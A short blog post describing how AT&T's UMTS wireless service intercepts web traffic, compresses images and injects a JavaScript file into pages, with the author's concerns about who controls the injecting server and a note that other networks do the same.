This isn’t exactly an exploit, but I’m sure after reading it, some people will feel like it is, or at minimum it might make people feel uncomfortable. It appears when users connect through AT&T UTMS wireless cards, the system man-in-the-middle’s the connection, and not only does it downgrade the image quality for performance reasons but it also injects a piece of JavaScript located at http://2.2.3.4/bmi-int-js/bmi.js (not live on the Internet). If you’re anything like me and you see a piece of JS installed in your website that you know doesn’t have any JS on it at all, you’re thinking you’re owned at this point. Alas, you probably are owned, but it’s in an effort to save your bandwidth. You can download a zipped copy of this JavaScript file here.

The real questions are when and how this page gets cached, and who owns 2.2.3.4 when it’s not being MITM’d (when you switch from UTMS to another network), and on and on. Incidentally, I tried to do directory transversal and go to http://2.2.3.4/ to see what else might be on that page and it banned me from going there and to the JavaScript file for the rest of the session. Why? Probably to stop guys like me from hacking whatever server that is and MITMing everyone on AT&T’s UTMS network. Clearly reducing the size of the page, is good for them, and is good for some percentage of users who don’t care about the potential issues here. And for the rest of us, we’ll continue to tunnel our traffic so we can avoid AT&T’s MITM craziness.

Update: a few people have sent me a link that this also is happening on other networks as well.